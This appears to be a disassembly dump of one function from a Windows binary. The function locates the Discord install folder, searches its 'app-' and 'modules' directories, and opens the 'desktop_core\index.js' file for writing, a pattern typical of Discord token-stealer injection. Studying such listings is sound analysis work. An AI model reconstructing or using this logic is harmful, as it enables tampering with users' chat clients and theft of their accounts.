Function at 0x140013e50
Capabilities:
Get common file path

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x630
movaps xmmword [r11 - 0x38], xmm6
movaps xmmword [r11 - 0x48], xmm7
mov rax, qword [0x140026010]
xor rax, rsp
mov qword [rsp + 0x608], rax
mov r12, rcx
mov qword [rsp + 0x118], rcx
mov qword [r11 - 0x3a0], rcx
xor r15d, r15d
mov dword [rsp + 0x30], r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x360], xmm0
mov qword [r11 - 0x2e8], r15
mov qword [r11 - 0x2e0], r15
lea r8d, [r15 + 7]
lea rdx, str.drocsiD
lea rcx, [r11 - 0x2f8]
call fcn.140002cc0
nop
mov rcx, qword [rsp + 0x370]
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
movsxd rbx, eax
test eax, eax
jle 0x140013f42
movsxd r11, ecx
mov r10d, r15d
nop
lea r9, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
setae r8b
cmovae r9, qword [rsp + 0x360]
lea rdx, [rsp + 0x360]
test r8b, r8b
cmovne rdx, qword [rsp + 0x360]
movzx ecx, byte [r10 + rdx]
movzx eax, byte [r9 + r11 - 1]
mov byte [r10 + rdx], al
mov byte [r9 + r11 - 1], cl
inc r10
lea r11, [r11 - 1]
cmp r10, rbx
jl 0x140013ef0
lea rax, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
cmovae rax, qword [rsp + 0x360]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x130], xmm1
mov r13, 0xffffffffffffffff
mov r8, r13
inc r8
cmp byte [rax + r8], 0
jne 0x140013f82
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.140002cc0
nop
mov r8d, recv
lea rdx, str._desktop_core_
lea rcx, [rsp + 0x120]
call fcn.140004fe0
mov qword [rsp + 0x50], rax
cmp qword [rax + 0x18], 0x10
jb 0x140013fcb
mov rax, qword [rax]
mov qword [rsp + 0x50], rax
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x140014011
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001400c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001400c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
movdqa xmm0, xmmword [0x14001fc60]
movdqu xmmword [rsp + 0x130], xmm0
mov byte [rsp + 0x120], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a0], xmm0
movdqa xmm1, xmmword [0x14001fc50]
movdqu xmmword [rsp + 0x3b0], xmm1
mov word [rsp + 0x3a0], r15w
lea r9, [rsp + 0x2b0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14001d6b0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rcx, qword [rsp + 0x2b0]
mov qword [rsp + 0x1a0], rcx
mov rax, r13
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140014080
mov qword [rsp + 0x1a8], rax
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x220]
call fcn.140017dd0
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x3a0]
call fcn.140016740
mov rdx, qword [rsp + 0x238]
cmp rdx, 8
jb 0x140014104
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400154de
call fcn.140019e24
lea rsi, [rsp + 0x3a0]
cmp qword [rsp + 0x3b8], 8
cmovae rsi, qword [rsp + 0x3a0]
mov rdi, qword [rsp + 0x3b0]
call fcn.1400196d0
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movdqa xmm1, xmmword [0x14001fc60]
movdqu xmmword [rsp + 0xc8], xmm1
mov byte [rsp + 0xb8], 0
mov dword [rsp + 0x30], 0x180000
test rdi, rdi
je 0x1400141dc
cmp rdi, 0x7fffffff
ja 0x140015635
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.140019740
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x14001563b
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rsp + 0xb8]
call fcn.140004f40
lea r9, [rsp + 0xb8]
cmp qword [rsp + 0xd0], 0x10
cmovae r9, qword [rsp + 0xb8]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.140019740
shr rax, 0x20
test eax, eax
jne 0x140015643
mov esi, 0x170000
mov r8d, 1
lea rdx, [0x14001f8e8]
lea rcx, [rsp + 0xb8]
call fcn.140004fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xe8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xe8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts esi, 0xe
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x14001424b
mov rdx, qword [r12]
mov r8, qword [r12 + 0x10]
lea rcx, [rsp + 0xd8]
call fcn.140004fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x108], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x108], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts esi, 0xf
mov r8d, 1
lea rdx, [0x14001f8e8]
lea rcx, [rsp + 0xf8]
call fcn.140004fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], r15
mov qword [rsp + 0x2f8], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2f0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts esi, 0x15
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x140014343
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001433e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001433e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
movdqa xmm0, xmmword [0x14001fc60]
movdqu xmmword [rsp + 0x108], xmm0
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0x10
jb 0x1400143a2
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001439d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001439d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
movdqa xmm0, xmmword [0x14001fc60]
movdqu xmmword [rsp + 0xe8], xmm0
mov byte [rsp + 0xd8], 0
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0x10
jb 0x140014401
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400143fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400143fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
xorps xmm0, xmm0
movups xmmword [rsp + 0x300], xmm0
mov qword [rsp + 0x310], r15
mov qword [rsp + 0x318], socket
mov byte [rsp + 0x300], 0
mov rdi, qword [rsp + 0x2f0]
lea rbx, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0x10
cmovae rbx, qword [rsp + 0x2e0]
call fcn.1400196d0
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x388], rdi
lea r8, [rsp + 0x380]
mov edx, eax
lea rcx, [rsp + 0x180]
call fcn.1400127a0
or esi, 0x3000
mov dword [rsp + 0x30], esi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x2d0], xmm0
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x2d0]
call fcn.140016fb0
test eax, eax
jne 0x14001564b
mov rdx, qword [rsp + 0x198]
cmp rdx, 8
jb 0x1400144f4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400144ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400144ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
xorps xmm0, xmm0
movups xmmword [rsp + 0x350], xmm0
mov rdi, qword [rsp + 0x2d8]
test rdi, rdi
je 0x14001451c
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x2d8]
mov esi, dword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x2d0]
movdqa xmmword [rsp + 0x350], xmm0
test rdi, rdi
je 0x140014542
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x2d8]
mov esi, dword [rsp + 0x30]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3d0], xmm1
test rdi, rdi
je 0x14001459c
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140014590
mov rbx, qword [rsp + 0x2d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014590
mov rdi, qword [rsp + 0x2d8]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
jmp 0x140014598
mov rdi, qword [rsp + 0x2d8]
mov esi, dword [rsp + 0x30]
cmp qword [rsp + 0x2d0], 0
je 0x140014844
mov rbx, qword [rsp + 0x350]
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x98]
mov rcx, rbx
call fcn.140013860
mov edx, dword [rsp + 0xa0]
mov rax, qword [rsp + 0x98]
test edx, edx
je 0x1400145f2
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x140015679
cmp eax, 3
jne 0x14001481d
lea r12, [rbx + 0x20]
mov qword [rsp + 0x48], r12
lea rdx, [rsp + 0x140]
mov rcx, r12
call fcn.140016ca0
bts esi, 9
mov dword [rsp + 0x30], esi
lea r14, [rsp + 0x140]
mov rcx, qword [rsp + 0x158]
cmp rcx, 0x10
setae byte [rsp + 0x34]
mov r13, qword [rsp + 0x140]
cmovae r14, r13
mov rax, qword [rsp + 0x150]
cmp rax, 4
jb 0x1400146e2
lea r12, [rax + r14]
lea r8, [r12 - 3]
sub r8, r14
mov edx, 0x61
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400146d5
nop dword [rax]
nop dword [rax + rax]
mov rcx, r15
lea rax, str.app_
nop word [rax + rax]
movzx edx, byte [rbx + rcx]
inc rcx
cmp dl, byte [rax + rcx - 1]
jne 0x1400146a8
cmp rcx, 4
jne 0x140014690
mov eax, r15d
jmp 0x1400146ad
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400149aa
inc rbx
lea r8, [r12 - 3]
sub r8, rbx
mov edx, 0x61
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140014680
mov rcx, qword [rsp + 0x158]
mov r12, qword [rsp + 0x48]
mov rbx, 0xffffffffffffffff
cmp byte [rsp + 0x34], 0
je 0x140014721
lea rdx, [rcx + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140014719
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400149bf
mov rcx, r13
call fcn.140019e24
cmp rbx, 0xffffffffffffffff
je 0x14001481d
lea rdx, [rsp + 0x1c0]
mov rcx, r12
call fcn.140016ca0
bts esi, 0xa
mov r8d, 9
lea rdx, str._modules_
lea rcx, [rsp + 0x1c0]
call fcn.140004fe0
movups xmm6, xmmword [rax]
movups xmmword [rsp + 0x270], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rsp + 0x280], xmm7
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
bts esi, 0xb
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x2f8]
cmp rdx, 0x10
jb 0x1400147ca
inc rdx
mov rcx, qword [rsp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400147c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400149c6
call fcn.140019e24
movups xmmword [rsp + 0x2e0], xmm6
movups xmmword [rsp + 0x2f0], xmm7
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0x10
jb 0x14001481d
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400149cd
call fcn.140019e24
lea rcx, [rsp + 0x350]
call fcn.140013d50
mov rbx, qword [rsp + 0x350]
cmp rbx, qword [rsp + 0x38]
jne 0x1400145c0
mov r13, 0xffffffffffffffff
mov rcx, qword [rsp + 0x3d8]
test rcx, rcx
je 0x140014895
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140014889
mov rbx, qword [rsp + 0x3d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014889
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x2d8]
mov rcx, qword [rsp + 0x358]
test rcx, rcx
je 0x1400148e6
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400148da
mov rbx, qword [rsp + 0x358]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400148da
mov rcx, qword [rsp + 0x358]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x2d8]
test rdi, rdi
je 0x140014927
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140014923
mov rbx, qword [rsp + 0x2d8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014923
mov rcx, qword [rsp + 0x2d8]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x2f0]
lea rbx, [rsp + 0x2e0]
cmp qword [rsp + 0x2f8], 0x10
cmovae rbx, qword [rsp + 0x2e0]
call fcn.1400196d0
mov qword [rsp + 0x1b0], rbx
mov qword [rsp + 0x1b8], rdi
lea r8, [rsp + 0x1b0]
mov edx, eax
lea rcx, [rsp + 0x160]
call fcn.1400127a0
or esi, 0x180
mov dword [rsp + 0x30], esi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x2c0], xmm0
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x2c0]
call fcn.140016fb0
test eax, eax
jne 0x140015662
jmp 0x1400149d4
sub rbx, r14
mov rcx, qword [rsp + 0x158]
mov r12, qword [rsp + 0x48]
jmp 0x1400146e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rsp + 0x178]
cmp rdx, 8
jb 0x140014a1f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014a1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014a1a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019e24
xorps xmm0, xmm0
movups xmmword [rsp + 0x340], xmm0
mov rdi, qword [rsp + 0x2c8]
test rdi, rdi
je 0x140014a47
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x2c8]
mov esi, dword [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x2c0]
movdqa xmmword [rsp + 0x340], xmm0
test rdi, rdi
je 0x140014a6d
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x2c8]
mov esi, dword [rsp + 0x30]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3c0], xmm1
test rdi, rdi
je 0x140014ac7
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140014abb
mov rbx, qword [rsp + 0x2c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014abb
mov rdi, qword [rsp + 0x2c8]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
jmp 0x140014ac3
mov rdi, qword [rsp + 0x2c8]
mov esi, dword [rsp + 0x30]
cmp qword [rsp + 0x2c0], 0
je 0x140014e06
mov rbx, qword [rsp + 0x340]
mov r12, qword [rsp + 0x3c0]
nop word [rax + rax]
lea rdx, [rsp + 0xa8]
mov rcx, rbx
call fcn.140013860
mov edx, dword [rsp + 0xb0]
mov rax, qword [rsp + 0xa8]
test edx, edx
je 0x140014b22
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x14001568a
cmp eax, 3
jne 0x140014de8
lea rdx, [rsp + 0x200]
lea rcx, [rbx + 0x20]
call fcn.140016ca0
or esi, 4
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x200]
call fcn.1400167e0
mov r14, rax
mov rdx, qword [rsp + 0x218]
cmp rdx, 0x10
jb 0x140014b9b
inc rdx
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014b96
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015128
call fcn.140019e24
cmp r14, 0xffffffffffffffff
je 0x140014de8
lea rdx, [rsp + 0x1e0]
lea rcx, [rbx + 0x20]
call fcn.140016ca0
or esi, 8
mov r8d, 1
lea rdx, [0x14001f8e8]
lea rcx, [rsp + 0x1e0]
call fcn.140004fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or esi, 0x40
mov r8, r13
mov rax, qword [rsp + 0x40]
inc r8
cmp byte [rax + r8], 0
jne 0x140014c10
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004fe0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x88], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or esi, 0x20
mov r8d, socket
lea rdx, str._desktop_core_index.js
lea rcx, [rsp + 0x78]
call fcn.140004fe0
movups xmm6, xmmword [rax]
movups xmmword [rsp + 0x290], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2a0], xmm7
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], recv
mov byte [rax], 0
or esi, 0x10
mov dword [rsp + 0x30], esi
mov rdx, qword [rsp + 0x318]
cmp rdx, 0x10
jb 0x140014cec
inc rdx
mov rcx, qword [rsp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001512f
call fcn.140019e24
movups xmmword [rsp + 0x300], xmm6
movups xmmword [rsp + 0x310], xmm7
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x140014d3c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014d37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015136
call fcn.140019e24
mov qword [rsp + 0x88], r15
mov qword [rsp + 0x90], socket
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140014d92
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014d8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001513d
call fcn.140019e24
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], socket
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0x10
jb 0x140014de8
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014de3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015144
call fcn.140019e24
lea rcx, [rsp + 0x340]
call fcn.140013d50
mov rbx, qword [rsp + 0x340]
cmp rbx, r12
jne 0x140014af0
mov rcx, qword [rsp + 0x3c8]
test rcx, rcx
je 0x140014e57
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140014e4b
mov rbx, qword [rsp + 0x3c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014e4b
mov rcx, qword [rsp + 0x3c8]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x348]
test rcx, rcx
je 0x140014ea8
mov eax, r13d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140014e9c
mov rbx, qword [rsp + 0x348]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140014e9c
mov rcx, qword [rsp + 0x348]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
mov rdi, qword [rsp + 0x2c8]
test rdi, rdi
je 0x140014ee8
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140014ee4
mov rbx, qword [rsp + 0x2c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], r13d
cmp r13d, 1
jne 0x140014ee4
mov rcx, qword [rsp + 0x2c8]
mov rax, qword [rcx]
call qword [rax + htons]
mov esi, dword [rsp + 0x30]
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x3e0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14001fac8]
mov qword [rsp + 0x3e0], rax
lea rcx, [rsp + 0x490]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 2
mov dword [rsp + 0x30], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x3e0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x3e0], r14
mov rax, qword [rsp + 0x3e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x3dc], edx
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rbx, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x3f0], rbx
mov byte [rsp + 0x46c], 0
mov byte [rsp + 0x461], 0
lea rcx, [rsp + 0x3f0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x470], r15
mov rax, qword [0x140026f68]
mov qword [rsp + 0x464], rax
mov qword [rsp + 0x458], r15
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14001faa8]
mov qword [rsp + 0x4f0], rax
lea rcx, [rsp + 0x598]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or esi, 1
mov dword [rsp + 0x30], esi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x4f8]
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x4f0], rsi
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4ec], edx
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x4f8], rbx
mov byte [rsp + 0x574], 0
mov byte [rsp + 0x569], 0
lea rcx, [rsp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x578], r15
mov rax, qword [0x140026f68]
mov qword [rsp + 0x56c], rax
mov qword [rsp + 0x560], r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x320], xmm0
mov qword [rsp + 0x330], r15
mov qword [rsp + 0x338], socket
mov byte [rsp + 0x320], 0
lea rdx, [rsp + 0x300]
cmp qword [rsp + 0x318], 0x10
cmovae rdx, qword [rsp + 0x300]
mov r8d, 0xa
lea rcx, [rsp + 0x4f8]
call fcn.140016b40
xor r8d, r8d
test rax, rax
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x4f0]
je 0x14001514b
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140015159
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rsp + 0x300]
cmp qword [rsp + 0x318], 0x10
cmovae rdx, qword [rsp + 0x300]
mov r8d, 1
lea rcx, [rsp + 0x3f0]
call fcn.140016b40
xor r8d, r8d
